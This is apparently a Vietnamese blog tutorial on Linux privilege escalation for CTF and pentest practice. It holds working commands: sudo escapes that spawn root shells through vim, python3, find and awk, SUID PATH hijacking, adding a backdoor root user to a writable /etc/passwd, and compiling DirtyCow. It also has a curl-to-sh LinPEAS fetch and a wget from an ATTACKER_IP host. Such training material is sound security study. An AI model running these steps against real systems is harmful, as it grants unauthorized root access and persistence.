Linux Privilege Escalation: Checklist và kỹ thuật thực chiến

Sau khi có được shell với low-privilege user, bước tiếp theo là leo thang đặc quyền lên root. Đây là một trong những kỹ năng quan trọng nhất trong CTF và pentest.

Enumeration — Bước đầu tiên

# Thông tin hệ thống
uname -a
cat /etc/os-release
id && whoami
sudo -l

# Tìm SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Tìm file writable bởi current user
find / -writable -type f 2>/dev/null | grep -v proc

# Crontab
cat /etc/crontab
ls -la /etc/cron*
crontab -l

Sudo Misconfigurations

# Kiểm tra sudo permissions
sudo -l
# (ALL) NOPASSWD: /usr/bin/vim
# (ALL) NOPASSWD: /usr/bin/python3

# GTFOBins — khai thác binary được phép sudo
# vim
sudo vim -c ':!/bin/bash'

# python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# find
sudo find . -exec /bin/bash \; -quit

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# Tham khảo: https://gtfobins.github.io/

SUID Binary Exploitation

# Tìm SUID binaries không phổ biến
find / -perm -4000 2>/dev/null | xargs ls -la
# -rwsr-xr-x 1 root root /usr/local/bin/custom_tool

# Kiểm tra bằng strings
strings /usr/local/bin/custom_tool
# Tìm: system(), popen(), PATH variable

# Nếu dùng relative path trong system():
# Giả sử binary gọi: system("cat /etc/passwd")
# Không có full path → có thể hijack PATH

export PATH=/tmp:$PATH
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
/usr/local/bin/custom_tool  # → root shell

Writable /etc/passwd

# Nếu /etc/passwd writable
ls -la /etc/passwd
# -rw-rw-rw- 1 root root /etc/passwd  ← vulnerable!

# Tạo password hash
openssl passwd -1 hacked123
# $1$xyz$abc...

# Thêm root user mới
echo 'hacker:$1$xyz$abc...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Đăng nhập
su hacker  # password: hacked123

Kernel Exploits

# Kiểm tra kernel version
uname -r
# 4.4.0-116-generic

# Tìm exploit phù hợp
searchsploit linux kernel 4.4 privilege
# → DirtyCow (CVE-2016-5195) works on 2.x - 4.8.3

# Download và compile
gcc -pthread dirty.c -o dirty -lcrypt
./dirty newrootpassword
# → Creates /etc/passwd entry với root privilege

Tool tự động: LinPEAS

# Download và chạy trên target
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Hoặc không có internet
# Trên máy attacker:
python3 -m http.server 8080
# Trên target:
wget http://ATTACKER_IP:8080/linpeas.sh
bash linpeas.sh | tee /tmp/linpeas.out

Leave a Comment